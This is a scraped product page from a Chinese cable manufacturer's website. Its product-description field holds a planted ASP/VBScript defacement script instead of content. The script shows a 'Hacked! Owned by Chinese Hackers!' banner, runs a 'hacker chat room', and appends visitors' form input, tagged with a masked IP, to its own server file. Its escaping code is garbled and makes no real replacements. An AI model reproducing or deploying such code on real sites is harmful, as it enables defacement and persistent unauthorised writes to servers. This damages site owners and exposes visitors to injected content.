浙江五丰电缆有限公司

浙江五丰电缆有限公司

地址：浙江省桐乡市崇福镇振芝街

电话：0573-88451925

传真：0573-88452239

手机：18668311539

您的位置：首页 >> 详细信息

电风扇

产品详细信息:

<%@ LANGUAGE = VBScript %>

server.scripttimeout=120

response.buffer = true

on error resume next

tm = now

ff = Request.ServerVariables("SCRIPT_NAME")

uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR")

uip=split(uip,".",-1,1)

ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*"

data = left(replace(trim(request.form("what")),"说点什么吧",""),200)

if data<>"" then

data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"http://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""")

data = replace(data,"[img]","<img src=""http://")

data = replace(data,"[/img]",""" />")

txt = "<pre>"&data&"<p>IP为"&ipx&"的童鞋 >>> Fucked at:"&tm&"</p></pre>"

Set Fs=Server.CreateObject("Scripting.FileSystemObject")

Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase)

File.Writeline txt

File.Close

response.write "<script>location.replace(location.href);</script>"

end if

<head>

<title>Chinese Hackers' Chating Room</title>

html{background:#f7f7f7;}

pre{font-size:15pt;font-family:Times New Roman;line-height:120%;}

p{font-size:10pt;}

.tx{font-family:Lucida Handwriting,Times New Roman;}

</style>

</head>

<a style="letter-spacing:3px;"><b>Hacked! Owned by Chinese Hackers!</b><br></a>

<h1>菊花聊天室</h1>

<hr>

<textarea rows="5" id="what" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="what">说点什么吧</textarea>

</form>

</center>

[返回]